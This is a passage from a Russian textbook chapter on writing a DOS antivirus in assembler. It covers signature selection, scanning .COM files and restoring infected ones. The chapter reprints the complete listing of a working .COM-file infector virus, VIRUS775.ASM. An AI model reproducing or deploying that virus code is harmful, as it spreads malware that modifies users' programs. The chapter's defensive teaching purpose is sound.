START Глава З. Пишем антивирус Прежде чем начать работу по созданию антивирусной программы, необходимо сказать несколько слов о том, что для этого необходимо. Первым условием является наличие у разработчика антивирусной программы хотя бы одного экземпляра файла, зараженного тем вирусом, с которым разрабатываемая антивирусная программа будет бороться. Невозможно создать универсальную антивирусную программу-детектор, которая могла бы обнаруживать любые неизвестные вирусы. Исключение составляют резидентные программы-ревизоры, которые перехватывают прерывания DOS и BIOS, ответственные за обмен с диском, или программы, проверяющие длины и контрольные суммы файлов. Однако и эти программы не являются универсальными в полном смысле этого слова, т.к. существуют т.н. "интеллектуальные" вирусы, которые "обходят" системные прерывания и таким образом данный канал для обнаружения активности вируса становится неэффективным. Достаточно сложной проблемой является также обнаружение загрузочных и драйверных вирусов, поскольку первые не являются файловыми (и они всегда резидентны), а вторые, внедряясь в драйвер путем модификации его заголовка, имитируют работу драйвера таким образом, что становится трудно различить, какая часть работы драйвера (по обмену с диском) санкционирована пользователем или вызывающей драйвер программой, а какая - нет. Поэтому наиболее эффективным способом обнаружения известных вирусов (в том числе и интеллектуальных) остается просмотр файлов с целью выявить в файле код внедрившегося вируса (или часть этого кода). Следовательно, как признали уже многие компьютерные вирусологи, важной частью систематической борьбы с вирусами является выделение характерных для различных вирусов последовательностей кодов - так называемых сигнатур. Эти сигнатуры должны отвечать двум основным требованиям:
-
сигнатура должна быть устойчивой, т.е. не изменяться при заражении вирусом различных файлов;
-
сигнатура должна быть достаточно уникальной, т.е. не должна встречаться в других вирусах и в других программах.
Соблюсти второе требование можно двумя способами:
-
увеличивая длину сигнатуры и тем самым снижая вероятность появления сходной сигнатуры в других файлах;
-
экспериментально проверяя отсутствие данной сигнатуры-кандидата в системных и прикладных программах.
Расчеты показывают, что при длине сигнатуры в 10 байт вероятность обнаружить данную сигнатуру на диске емкостью 100 Мб (т.е вероятность ложного срабатывания вирусного детектора равна приблизительно одной миллиардной). Разумеется, если в качестве сигнатуры взят участок кода, соответствующий какой-либо часто встречающейся конструкции языка программирования, эта вероятность резко возрастает. Поэтому экспериментальная проверка сигнатуры все же нужна. 3.1 Как искать сигнатуру вируса Чтобы найти в теле вируса последовательность кодов, которую можно было использовать в качестве сигнатуры, прежде всего нужен сам вирус, т.е. его двоичный (исполняемый) код. Мы можем получить такой код очень просто: достаточно оттранслировать наш вирус при помощью имеющегося в Вашем распоряжении макроассемблера. При этом полезно "попросить" макроассемблер создать листинг нашего вируса, поскольку листинг содержит как ассемблерные команды, так и перемещаемый двоичный код (а именно он нам сейчас и нужен). Кроме того, листинг вируса содержит относительные смещения кодов команд в программе, по которым легко ориентироваться при расчете адресов данных и переходов в теле вируса, которые наш антивирус-фаг будет использовать в своей работе. Итак... 3.2 Листинг программы VIRUS775.ASM Microsoft (R) Macro Assembler Version 5.00 6/24/91 21:21:14 1 .8086 2 PAGE ,132 3 ;****************************************************** 4 ; VIRUS775.ASM emulates virus activity for .COM files 5 ;****************************************************** 6 0000 CSEG segment 7 assume cs:cseg,ds:cseg,es:cseg 8 0100 org 100h 9 0100 START: 10 0100 E9 db 0E9h 11 0101 0015 dw 15h ; Near jump to RESTORE_3_BYTES 12 0103 FFFF ID dw 0FFFFh 13 14 0110 org 110h 15 16 0110 VIRUS: 17 0110 1E push ds 18 0111 8C C8 mov ax,cs 19 0113 05 db 00000101b ; Add ax,imed 20 0114 FFFF NEW_DS dw 0FFFFh ; 0FFFFh should be replaced 21 0116 8E D8 mov ds,ax ; Define new ds segment 22 23 0118 RESTORE_3_BYTES: 24 0118 A0 02DB R mov al,BYTES_3[0] ; Restore first 3 bytes 25 011B 2E: A2 0100 mov byte ptr cs:[100h],al 26 011F A0 02DC R mov al,BYTES_3[1] 27 0122 2E: A2 0101 mov byte ptr cs:[101h],al 28 0126 A0 02DD R mov al,BYTES_3[2] 29 0129 2E: A2 0102 mov byte ptr cs:[102h],al 30 31 012D STORE_DTA: 32 012D B9 0100 mov cx,100h 33 0130 BB 0000 mov bx,0 34 0133 DTA_S: 35 0133 2E: 8A 07 mov al,byte ptr cs:[bx] 36 0136 88 87 02DF R mov byte ptr DTA[bx],al 37 013A 43 inc bx 38 013B E2 F6 loop DTA_S 39 40 013D FIND_FIRST: 41 013D 8D 16 02BF R lea dx,FMASK 42 0141 B9 0020 mov cx,00100000b ; arc,dir,vol,sys,hid,r/o 43 0144 B4 4E mov ah,4Eh 44 0146 CD 21 int 21h ; Find first .COM file 45 0148 73 1A jnc STORE_FNAME 46 014A E9 0288 R jmp ERR 47 48 014D FIND_NEXT: 49 014D 8B 1E 02D6 R mov bx,HANDLE 50 0151 B4 3E mov ah,3Eh 51 0153 CD 21 int 21h ; Close previous file 52 0155 C7 06 02D6 R FFFF mov HANDLE,0FFFFh 53 54 015B B4 4F mov ah,4Fh 55 015D CD 21 int 21h 56 015F 73 03 jnc STORE_FNAME 57 0161 E9 0288 R jmp ERR 58 59 0164 STORE_FNAME: 60 0164 2E: 80 3E 0095 01 cmp byte ptr cs:[95h],00000001b ; Test r/o attribute 61 016A 74 E1 je FIND_NEXT ; if r/o is set, do not infect 62 016C BB 0000 mov bx,0 63 64 016F NEXT_SYM: 65 016F 2E: 8A 87 009E mov al,byte ptr cs:[bx+9Eh] 66 0174 88 87 02C5 R mov FNAME[bx],al 67 0178 2E: 80 BF 009E 00 cmp byte ptr cs:[bx+9Eh],0 68 017E 74 09 je SET_ATTRIB 69 0180 43 inc bx 70 0181 83 FB 0D cmp bx,13 71 0184 7E E9 jng NEXT_SYM 72 0186 E9 0288 R jmp ERR 73 74 0189 SET_ATTRIB: 75 0189 8D 16 02C5 R lea dx,FNAME 76 018D B9 0020 mov cx,00100000b ; arc,dir,vol,sys,hid,r/o 77 0190 B8 4301 mov ax,4301h 78 0193 CD 21 int 21h ; Set file attributes 79 0195 73 03 jnc READ_HANDLE 80 0197 E9 0288 R jmp ERR 81 82 019A READ_HANDLE: 83 019A 8D 16 02C5 R lea dx,FNAME 84 019E B8 3D02 mov ax,3D02h ; Read/write mode 85 01A1 CD 21 int 21h ; Open a file 86 01A3 73 03 jnc READ_3_BYTES 87 01A5 E9 0288 R jmp ERR 88 89 01A8 READ_3_BYTES: 90 01A8 A3 02D6 R mov HANDLE,ax ; Store handle from ax 91 01AB 8D 16 02DB R lea dx,BYTES_3 92 01AF 8B 1E 02D6 R mov bx,HANDLE 93 01B3 B9 0003 mov cx,3 ; Number of bytes to read 94 95 01B6 B4 3F mov ah,3Fh 96 01B8 CD 21 int 21h ; Read and store first 3 bytes 97 01BA 73 03 jnc READ_FLEN 98 01BC E9 0288 R jmp ERR 99 100 01BF READ_FLEN: 101 01BF B9 0000 mov cx,0 102 01C2 BA 0000 mov dx,0 ; NULL seek position in cx:dx 103 01C5 8B 1E 02D6 R mov bx,HANDLE 104 01C9 B0 02 mov al,2 ; Relative to EOF 105 01CB B4 42 mov ah,42h ; Get program length in dx:ax 106 01CD CD 21 int 21h 107 01CF 73 03 jnc CHECK_ID 108 01D1 E9 0288 R jmp ERR 109 110 01D4 CHECK_ID: 111 01D4 A3 02D2 R mov FLENOLD,ax ; Store length of file 112 113 01D7 A9 000F test ax,00001111b 114 01DA 74 04 jz JUST 115 01DC 0D 000F or ax,00001111b 116 01DF 40 inc ax 117 118 01E0 JUST: 119 01E0 A3 02D4 R mov FLEN,ax ; Store corrected length of file 120 121 01E3 3D FBF4 cmp ax,64500 122 01E6 76 03 jna CALC_DS 123 01E8 E9 014D R jmp FIND_NEXT 124 125 01EB CALC_DS: 126 01EB B1 04 mov cl,4 127 01ED D3 E8 shr ax,cl ; Calculate new ds segment difference 128 01EF 48 dec ax 129 01F0 A2 0114 R mov byte ptr NEW_DS[0],al 130 01F3 88 26 0115 R mov byte ptr NEW_DS[1],ah ; Store new ds segment 131 132 01F7 B9 0000 mov cx,0 133 01FA 8B 16 02D2 R mov dx,FLENOLD 134 01FE 4A dec dx 135 01FF 8B 1E 02D6 R mov bx,HANDLE 136 0203 B0 00 mov al,0 ; Relative to EOF 137 0205 B4 42 mov ah,42h 138 0207 CD 21 int 21h ; Set seek to last byte of file 139 0209 73 03 jnc READ_ID 140 020B EB 7B 90 jmp ERR 141 142 020E READ_ID: 143 020E 8D 16 02DE R lea dx,BYTES_3[3] 144 0212 8B 1E 02D6 R mov bx,HANDLE 145 0216 B9 0001 mov cx,1 146 0219 B4 3F mov ah,3Fh 147 021B CD 21 int 21h ; Read last byte to BYTES_3[3] (ID='$') 148 021D 73 03 jnc TEST_ID 149 021F E9 014D R jmp FIND_NEXT 150 151 0222 TEST_ID: 152 0222 80 3E 02DE R 24 cmp BYTES_3[3],'$' 153 0227 75 03 jne NOT_INFECTED 154 0229 E9 014D R jmp FIND_NEXT ; Check if file is infected 155 156 022C NOT_INFECTED: 157 022C A1 02D4 R mov ax,FLEN ; Calculate JMP address 158 022F 2D 0003 sub ax,03h 159 0232 A2 02D9 R mov JMP_L,al 160 0235 88 26 02DA R mov JMP_H,ah ; Store new JMP address 161 162 0239 B9 0000 mov cx,0 163 023C 8B 16 02D4 R mov dx,FLEN 164 0240 8B 1E 02D6 R mov bx,HANDLE 165 0244 B8 4200 mov ax,4200h ; Set seek to corrected end of file 166 0247 CD 21 int 21h 167 0249 72 3D jc ERR 168 169 024B 8D 16 0110 R lea dx,VIRUS 170 024F B9 02F7 90 mov cx,VIRLEN 171 0253 8B 1E 02D6 R mov bx,HANDLE 172 0257 B4 40 mov ah,40h 173 0259 CD 21 int 21h ; Write virus to file 174 025B 72 2B jc ERR 175 176 025D WRITE_JMP: 177 025D B9 0000 mov cx,0 178 0260 BA 0000 mov dx,0 179 0263 8B 1E 02D6 R mov bx,HANDLE 180 0267 B0 00 mov al,0 ; Relative to file start 181 0269 B4 42 mov ah,42h 182 026B CD 21 int 21h ; Set seek to 0 183 026D 72 19 jc ERR 184 185 026F 8D 16 02D8 R lea dx,JMPVIR 186 0273 B9 0003 mov cx,3 187 0276 8B 1E 02D6 R mov bx,HANDLE 188 027A B4 40 mov ah,40h 189 027C CD 21 int 21h ; Write new JMP to file 190 027E 72 08 jc ERR 191 192 0280 PRINT_MSG: 193 0280 8D 16 03E0 R lea dx,MSG 194 0284 B4 09 mov ah,09h 195 0286 CD 21 int 21h ; Print a message 196 197 0288 ERR: 198 0288 83 3E 02D6 R FF cmp HANDLE,0FFFFh 199 028D 74 08 je EXIT 200 201 028F CLOSE_FILE: 202 028F 8B 1E 02D6 R mov bx,HANDLE 203 0293 B4 3E mov ah,3Eh 204 0295 CD 21 int 21h ; Close file 205 206 0297 EXIT: 207 0297 2E: 83 3E 0103 R FF cmp cs:[ID],0FFFFh 208 029D 74 1B je GOTO_DOS 209 210 029F RESTORE_DTA: 211 029F B9 0100 mov cx,100h 212 02A2 BB 0000 mov bx,0 213 214 02A5 DTA_R: 215 02A5 8A 87 02DF R mov al,byte ptr DTA[bx] 216 02A9 2E: 88 07 mov byte ptr cs:[bx],al 217 02AC 43 inc bx 218 02AD E2 F6 loop DTA_R 219 220 02AF GOTO_START: 221 02AF 8C C8 mov ax,cs 222 02B1 A3 02B8 R mov ds:[START_S],ax 223 02B4 1F pop ds 224 02B5 EA db 0EAh ; Far jmp to START 225 02B6 0100 dw 0100h ; START offset 226 02B8 0000 START_S dw (?) ; START segment 227 228 02BA GOTO_DOS: 229 02BA BB 4C00 mov bx,4C00h 230 02BD CD 21 int 21h 231 232 02BF 2A 2E 43 4F 4D 00 FMASK db '*.COM',0h 233 02C5 000C[ FNAME db 12 dup (?),0h 234 ?? 235 ] 236 00 237 02D2 0000 FLENOLD dw (?) ; Length of file 238 02D4 0000 FLEN dw (?) ; Corrected length of file 239 02D6 FFFF HANDLE dw 0FFFFh ; File handle number 240 02D8 E9 JMPVIR db 0E9h ; JMP code 241 02D9 00 JMP_L db (?) 242 02DA 00 JMP_H db (?) ; 3 bytes for virus JMP 243 02DB 0003[ BYTES_3 db 3 dup (?) ; Original 3 bytes 244 ?? 245 ] 246 247 02DE 00 db (?) 248 02DF 0101[ DTA db 101h dup (?) 249 ?? 250 ] 251 252 03E0 0A 0D 48 61 6C 6C 6F MSG db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$' 253 21 20 49 20 68 61 76 254 65 20 67 6F 74 20 61 255 20 76 69 72 75 73 20 256 66 6F 72 20 79 6F 75 257 21 0A 0D 24 258 = 02F7 VIRLEN equ $-VIRUS 259 260 0407 CSEG ends 261 end START 3.3 Подбираем сигнатуру В принципе при выборе сигнатуры существует большая свобода, ограниченна лишь перечисленными выше условиями. Нас заинтересовали в листинге вируса строки с номерами 149-154. 149 021F E9 014D R jmp FIND_NEXT 150 151 0222 TEST_ID: 152 0222 80 3E 02DE R 24 cmp BYTES_3[3],'$' 153 0227 75 03 jne NOT_INFECTED 154 0229 E9 014D R jmp FIND_NEXT ; Check if file is infected Если развернуть эти строки листинга в цепочку кодов, то получится следующая последовательность шестнадцатеричных чисел: Е9 21 FF 80 3E DE 02 24 75 03 Е9 21 FF Правда, в листинге Вы не найдете двух повторяющихся пар чисел 21 FF, следующих за кодом команды короткого перехода E9. Однако эти числа легко получить одним из двух изложенных ниже способов.
-
Учитывая, что код команды JMP <адрес> включает в себя слово, обозначающее адрес внутрисегментного переходе, и зная адрес метки FIND_NEXT равный 222 (в десятичной системе счисления) или 014D (в шестнадцатеричной системе счисления), можно рассчитать, что это слово должно представлять собой как раз шестнадцатеричное число FF21 (а поскольку младшая часть адреса записывается раньше старшей, то мы и получаем последовательность 21 FF).
-
Достаточно просмотреть код оттранслированной программы-вируса с помощью любого отладчика, чтобы убедиться, что именно эта последовательность кодов присутствует в теле вируса в указанном нами месте.
Мы решили в качестве сигнатуры воспользоваться лишь последними одиннадцатью байтами, а именно строкой: FF 80 3E DE 02 24 75 03 Е9 21 FF Длина этой строки вполне достаточна, чтобы ее можно было использовать в качестве сигнатуры нашего вируса, а ее уникальность мы дополнительно проверим, когда наш антивирус будет готов. 3.4 Что должен делать антивирус Основные принципы действия файлового антивируса были изложены в главе 1. Мы лишь напомним, что наш антивирус должен:
-
просматривать .COM-файлы в текущем каталоге, находить файлы, содержащие сигнатуру нашего вируса и выводить на экран сообщение о том, какие файлы заражены вирусом и сколько всего файлов заражено;
-
по указанию пользователя антивирус должен осуществлять "лечение" (т.е. восстановление) зараженных файлов в текущем каталоге согласно алгоритму, изложенному в главе 1.
Наша задача упрощается двумя обстоятельствами. Первое, наш антивирус, как и вирус, учебный. Поэтому нам не нужно осуществлять громоздкий алгоритм поиска зараженных файлов по всему диску (желающие могут внести это усовершенствование самостоятельно). И второе, наш вирус хранит в своей области данных первоначальную длину программы-жертвы до ее заражения. Поэтому мы имеем возможность восстанавливать зараженную программу в идеальных условиях - т.е. один к одному! 3.5 Область данных антивируса Область данных нашей антивирусной программы (детектора и фага) будет сильно напоминать область данных вируса, поскольку мы воспользуемся многими из готовых алгоритмов, использованными при создании вируса (например, блоками доступа к файлам). Кроме того, мы будем использовать многие из тех данных, которые использует в своей работе вирус, а для наглядности сохраним по возможности и названия меток. MODE db 0 ; 0 - find, 1 - find & cure FILES db 0 ; Number of infected files SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte) SIGL equ $-SIG ; Length of SIG string SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG FMASK db '*.COM',0h ; File name mask FLEN dw (?) ; Current length af tested file FLENOLD dw (?) ; Old length of file to be cured HANDLE dw 0FFFFh ; File handle number ATTRIB db (?) ; File attribute FSEG dw (?) ; Segment to store file LBL db '$' ; Security label CSEG ends end START Хорошим тоном (и безопасным методом) считается использование по умолчанию алгоритма поиска зараженных файлов, который осуществляется при запуске антивируса без параметров. Это предохраняет пользователя от непреднамеренной "обработки" антивирусом тех файлов, для которых еще не созданы запасные копии на случай неудачного лечения или ложного срабатывания детектора при поиске сигнатуры. Поэтому наш антивирус должен работать в двух режимах: поиск и выявление файлов, содержащих сигнатуру вируса (по умолчанию) и "лечение" зараженных файлов (при запуске антивируса, например, с параметром "/q" (от слова qure - лечить). Для распознаиания режима мы введем переменную по имени MODE: MODE db 0 ; 0 - find, 1 - find & cure Поскольку наш антивирус ведет подсчет зараженным файлам, нам необходимо также отвести переменную, которую он будет использовать в качестве счетчика. Назовем ее FILES: FILES db 0 ; Number of infected files Очевидно, что наш антивирус должен также как-то хранить и сигнатуру вируса для того, чтобы было с чем сравнивать коды просматриваемых файлов. Однако, для того, чтобы наш антивирус не "сработал" сам от себя, мы просто-напросто заменим последний байт сигнатуры (FF) на ноль (00): SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte) Восстанавливать же этот последний байт мы будем в памяти сразу же после запуска антивируса. Для использования в качестве граничной переменной в счетчиках цикла нам понадобится длина сигнатуры (в байтах). Для того, чтобы не изменять общности, сформируем это число в виде разности начального и конечного адреса сигнатуры плюс единица: SIGL equ $-SIG ; Length of SIG string Сразу же отметим, что эта величина является константой для данной программы и не занимает места области данных. Заранее никогда неизвестно, где в зараженном файле расположена сигнатура вируса, а также все остальные данные: сохраненные три байта, длина программы-жертвы и т.п. Даже вести счет от "хвоста" файла мы не имеем права, т.к. за нашим вирусом может "сесть" другой вирус. Поэтому мы должны ввести точку отсчета, относительно которой антивирус будет рассчитывать адреса всех остальных частей вируса. В качестве такой точки отсчета выберем первый байт сигнатуры, а для привязки к этой точке отсчета нам необходимо хранить смещения всех необходимых нам данных (вируса) относительно смещения первого байта сигнатуры. Кроме того, мы должны предусмотреть место для хранения смещения первого байта сигнатуры в зараженном файле, чтобы использовать это смещение в качестве точки отсчета. SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG Таким образом, выделим в области данных антивируса следующие три слова: SIGO - адрес (смещение) первого байта сигнатуры в зараженном файле; SIGO3 - смещение первого из трех сохраненных (первых) байт зараженного файла относительно адреса первого байта сигнатуры; SIGFL - смещение слова, в котором хранится прежняя длина зараженного файла, относительно адреса первого байта сигнатуры. FMASK db '*.COM',0h ; File name mask FMASK - имеет тот же смысл, что и в программе вируса: маска имен файлов (т.е. шаблон поиска). Для проверки файлов с любыми расширениям достаточно заменить в маске расширение "COM" на звездочку: "*". FLEN dw (?) ; Current length af tested file FLEN - текущая длина тестируемого файла. Эта величина необходима антивирусу при выборе алгоритма считывания файла. FLENOLD dw (?) ; Old length of file to be cured FLENOLD - Прежняя длина зараженного файла. Эту величину антивирус извлечет, пользуясь набором смещений, описанных в предыдущих абзацах. HANDLE dw 0FFFFh ; File handle number HANDLE - логический номер (handle) файла. С этой величиной мы уже знакомы из опыта написания вируса. ATTRIB db (?) ; File attribute ATTRIB - здесь антивирус может хранить исходный байт атрибутов файла для того, чтобы после лечения (или просмотра) восстанавливать этот атрибут. FSEG dw (?) ; Segment to store file FSEG - сегментный адрес области, которую антивирус запрашивает у DOS для хранения тестируемого файла. LBL db '$' ; Security label И, наконец, последний байт - код "$" (доллар), метка LBL - наглядная иллюстрация того, как программа-антивирус может защитить сама себя от вируса методом вакцинации. Этот прием мы обсуждали в главе 2 при рассмотрении того, как наш вирус избегает повторного заражения программ. 3.6 Антивирус начинает работу Как мы условились ранее, сразу же после запуска наш антивирус формирует в памяти сигнатуру вируса, для которой ему не хватает одного последнего байта. START: mov SIG[10],0FFh ; Completes SIG string Затем антивирус "выясняет", в каком из двух возможных режимов - поиска вируса или "лечения" зараженных файлов - он должен работать. Мы решили, что по умолчанию антивирус лишь ищет зараженные файлы. Если же в командной строке появляется параметр /q или просто буква q, антивирус переходит в режим "лечения". 3.7 Читаем командную строку Перед передачей управления запускаемой программе, DOS формирует PSP (Program Segment Prefix) по нулевому смещению в памяти ЭВМ. PSP занимает 100h байт и включает в себя DTA (Data Transfer Area). Структура DTA хорошо известна, в частности, по смещению 80h располагается длина области UPA (Unformatted Parameter Area), в которой начиная со смещения 81h хранятся параметры командной строки (исключая директивы переназначения). Если длина UPA нулевая (т.е. байт по адресу 80h равен нулю), значит, командная строка - пустая, и следовательно, антивирус сохраняет режим по умолчанию (поиск сигнатуры). Если же этот байт ненулевой, необходимо проверить, не содержится ли среди параметров буква q. READ_PARAM: cmp byte ptr cs:[80h],0 je FIND_MODE ; If no parameters, "find" mode mov ax,ds mov es,ax cld mov al,'q' ; 'q' - "find & cure mode" (MODE=1) mov ch,0 mov cl,cs:[80h] ; Length of UPA (from PSP) mov di,81h ; Offset of UPA (from PSP) repne scasb je CURE_MODE FIND_MODE: mov MODE,0 jmp ALLOC_MEM CURE_MODE: mov MODE,1 Если буква 'q' найдена, то по адресу MODE заносится число 1 (режим "лечения"), в противном случае там хранится ноль, обозначающий режим по умолчанию (только поиск). 3.8 Заказываем память При запуске .COM-программы DOS выделяет ей всю доступную память, поэтому, грамотно написанная .COM-программа (особенно резидентная) должна уменьшить количество выделенной ей памяти до необходимого объема. Кроме того, если .COM-программа использует несколько сегментов памяти, она должна знать адреса свободных сегментов, чтобы не нарушить блочную структуру памяти. ALLOC_MEM: mov ax,ds mov es,ax mov bx,1100h ; Reallocate 68 К bytes mov ah,4Ah int 21h jnc ALLOCATED NOT_ALLOCATED: lea dx,NO_MEM mov ah,09h int 21h ; Print a message jmp TO_DOS NO_MEM db 10,13,'Insufficient memory to run ANTI775',10,13,'$' ALLOCATED: lea ax,LBL mov cl,4 shr ax,cl inc ax mov bx,ds add ax,bx mov FSEG,ax ; Segment of program in memory Поскольку наш вирус не заражает программы, длина которых больше 64 К байт, мы должны выделить соответствующее количество памяти. Пусть это будет, например, 68 К байт. В случае, если вызванная функция DOS (4A) возвратит ошибку (флаг переноса CF взведен), наш антивирус выдаст сообщение о недостаточном объеме свободной памяти и завершит работу. В выделенную память антивирус будет считывать тестируемую программу (или ее часть - первые 64 К байт). Мы будем проверять на наличие вируса даже большие (длиннее 64 К байт) программы, хотя вирус следит за тем, чтобы длина зараженной программы не превышала этой величины. Тем не менее, есть вирусы, которые этого не делают, и тогда .COM-программа может разрастись до размеров, превышающих размер сегмента (64 К байт). Мы предусмотрим случай, когда за нашим вирусом может "сесть" один или несколько других, в том числе и таких, которые "убивают" .COM-программу тем, что ее новая длина (вместе с вирусом) превышает 64 К байт. Наш антивирус будет "лечить" и такие программы! Он будет вместе с нашим вирусом "выкусывать" и те вирусы, которые "сели" после него. Конечно, наш антивирус не сможет лечить от вирусов, "севших" раньше него, но и то, что он сможет - большой плюс. Кстати, данный принцип ("выкусывание" вирусов, находящихся после данного вируса) сможет применяться и для интеллектуальной вакцинации, т.е. для создания "самовылечивающихся" или самотестирующихся программ. В этом случае программу "заражают" не вирусом, а программой-вакциной, которая выполняет функции антивируса и "выкусывает" любые вирусы, пристраивающиеся к ней в "хвост"... После этого лирического отступлении напомним, что сегментный адрес выделенной области памяти мы сохранили в слове по адресу FSEG. 3.9 Ищем зараженные файлы. Алгоритм поиска файлов, соответствующих шаблону подробно описан во второй главе, и мы лишь обратим Ваше внимание на то, что антивирус, в отличие от нашего вируса, просматривает все .COM-файлы в текущем каталоге, включая файлы с атрибутами read-only, hidden и system. Следующий блок программы-антивируса выполняет такие действия: находит .COM-файл, соответствующий шаблону, обрабатывает и сохраняет его имя, устанавливает атрибуты, открывает файл в режиме чтения-записи, считывает и сохраняет логический номер файла (handle). FIND_FIRST: lea dx,FMASK ; Mask of file name mov cx,00100111b ; arc,dir,voL,sys,hid,r/o mov ah,4Eh int 21h jnc STORE_FNAME jmp EXIT FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh ; Note that file was closed mov ah,4Fh int 21h ; Find next file jnc STORE_FNAME jmp EXIT STORE_FNAME: mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/wite mode int 21h ; Open a file (handle is in ax) jnc READ_FLEN jmp ERR Наш антивирус (поскольку он учебный) в целях экономии Вашего времени не делает некоторых вещей, которые стандартные антивирусы делают. Например, он перед закрытием файла не восстанавливает его атрибуты. Однако Вы сами легко можете дописать несколько команд, которые будут выполнять эту, в общем-то важную, функцию (в нашем антивирусе даже выделен для этой цели в области данных байт с именем ATTRIB). 3.10 Длинные и короткие файлы Обычно длинные файлы считывают и просматривают по частям. Однако, поскольку мы не собираемся считывать более 64 К байт даже самого длинного файла, будем считывать файлы в память целиком (для упрощения алгоритма и ускорения процедуры поиска сигнатуры вируса). Тем не менее, покажем, как можно считывать длинный файл, например, в два приема по 32 К байт. Сначала выясним длину тестируемого файла. READ_FLEN: mov HANDLE,ax ; Store handle number mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov ax,4202h ; Get program length in dx:ax int 21h mov FLEN,ax cmp dx,0 je SET_FSTART mov FLEN,0FFFEh Если длина файла превышает 64 К байт, занесем по адресу FLEN число 0FFFFh, которое отражает тот факт, что мы не собираемся считывать файл длиннее 0FFFFh байт. Далее, если длина файла не превышает 32 К байт, считаем его в один прием, а если превышает - то в два. SET_FSTART: mov bx,HANDLE mov cx,0 mov dx,0 mov ax,4200h int 21h ; Set seek pointer to start of file READ_FILE: mov bx,HANDLE mov cx,FLEN mov dx,0 cmp FLEN,8001h ; If length of file < 32769, jb READ_REST ; Read file in one step mov cx,8000h push ds mov dx,0 mov ax,FSEG mov ds,ax mov ah,3Fh int 21h ; Read 32768 bytes from file to buffer pop ds mov cx,FLEN mov dx,8000h sub cx,8000h ; Prepare to read the rest of the file READ_REST: mov bx,HANDLE ; bx = HANDLE push ds mov ax,FSEG mov ds,ax ; ds:dx - buffer address mov ah,3Fh int 21h ; Read and store entire file pop ds jne CHECK_SIG jmp ERR Отметим некоторые особенности считывания файла в сегмент, отличный от текущего сегмента кода и данных нашего антивируса. Для того, чтобы считать файл в другой сегмент, сохраним в стеке текущее содержимое регистра ds (push ds), а затем поместим в этот регистр величину, полученную при запросе памяти у операционной системы и хранящуюся в слове по адресу FSEG. После считывания файла восстановим прежнее значение регистра ds (pop ds). 3.11 Ищем сигнатуру вируса Как мы уже выяснили, знак '$' в конце файла не является сколько-нибудь надежным указателем на возможное присутствие нашего вируса в файле, поэтому сразу приступим к поиску сигнатуры. Для поиска сигнатуры вируса в файле, который уже считан в память, выберем следующий алгоритм. Сначала будем искать в тестируемом файле код 0FFh, который соответствует первому байту сигнатуры, а затем будем проверять следующие за этим кодом девять байт на соответствие остальным кодам сигнатуры вируса. Для поиска в другом сегменте, отличном от сегмента кода и данных антивируса, будем использовать регистр расширенного сегмента данных - es. CHECK_SIG: mov ax,FSEG mov es,ax mov di,0 ; es:di - address of COM. file cld mov cx,FLEN sub cx,SIGL mov al,0FFh ; al = FF (hexadecimal) NEXT_FF: repne scasb je FOUND_FF NO_FF: jmp FIND_NEXT FOUND_FF: push cx ; Store counter for next 0FFh search push di ; Store di for next 0FFh search dec di ; es:di - address of 0FFh found mov SIGO,di ; Store offset of 0FFh found lea si,SIG ; ds:si - address of SIG string mov cx,SIGL ; cx - Length of SIG string repe cmpsb ; Compare SIG with string in file je FOUND_SIG pop di ; Restore di for next 0FFh dearch pop cx ; Restore counter for next OFFh search jmp NEXT_FF FOUND_SIG: inc FILES ; Count infected files lea dx,WARNING mov ah,09h int 21h ; Print warning message Если сигнатура вируса найдена в тестируемом файле, антивирус выводит соответствующее сообщение и увеличивает счетчик зараженных файлов (метка FILES) на единицу. Заметим, что имя зараженного (тестируемого) файла мы храним не в конце программы-антивируса, где располагается его область данных, а в середине строки сообщения - для упрощения программирования. В этом случае без обработки строки, содержащей имя файла можно целиком вывести предупреждающее сообщение на экран. Однако в этом случае сообщения, включающие имена файлов, содержащие знак доллара '$', будут выводиться неправильно (т.к. знак доллара является признаком конца строки-сообщения для функции DOS 09h). Однако мы сознательно идем на такое упрощение, чтобы не запутывать читателя сложностями ввода-вывода на ассемблере. Чтобы правильно выводить имена файлов, не содержащих знак '$', необходимо каждый раз перед помещением в строку FNAME имени нового файла, предварительно заполнить ее (12 байт) пробелами, иначе в этой строке могут находиться "остатки" имен файлов, прочитанных ранее. BLANK: mov cx,12 ; Width of file name field mov bx,0 REP32: mov FNAME[bx],32 inc bx loop REP32 ; Fill field with spaces cmp MODE,1 ; Was there 'q' in command line? je CURE jmp FIND_NEXT ; Do not cure! WARNING db 10,13,'File ' FNAME db 12 dup (32),0 ; File name ASCIIZ string db ' is infected by the 775 virus',10,13,'$' 3.12 Лечим зараженный файл Итак, теперь, когда файл считан в память, в нем найдена сигнатура вируса и выдано сообщение о том, что файл с таким-то именем заражен, можно приступить к его лечению. Разумеется, антивирус предварительно проверит, дано ли ему такое задание (т.е. был ли задан в, командной строке параметр типа /q. Если да, то байт с именем MODE содержит единицу - и можно приступать к самому ответственному шагу, который начинается с метки CURE. Прежде всего, отметим, что смещение первого байта сигнатуры вируса в тестируемом файле было сохранено по адресу SIGO. Таким образом, для того чтобы определить смещение, по которому хранятся прежние первые три байта нашего "пациента", достаточно прибавить к числу SIGO число SIGO3 (смещение первого из трех восстанавливаемых байт относительно адреса первого байта сигнатуры). CURE: mov bx,SIGO ; SIGO - offset of virus signature add bx,SIGO3 ; SIGO3 - 3 bytes relative to SIG mov al,byte ptr es:[bx] ; es:bx - address of original 3 bytes mov byte ptr es:[0],al mov 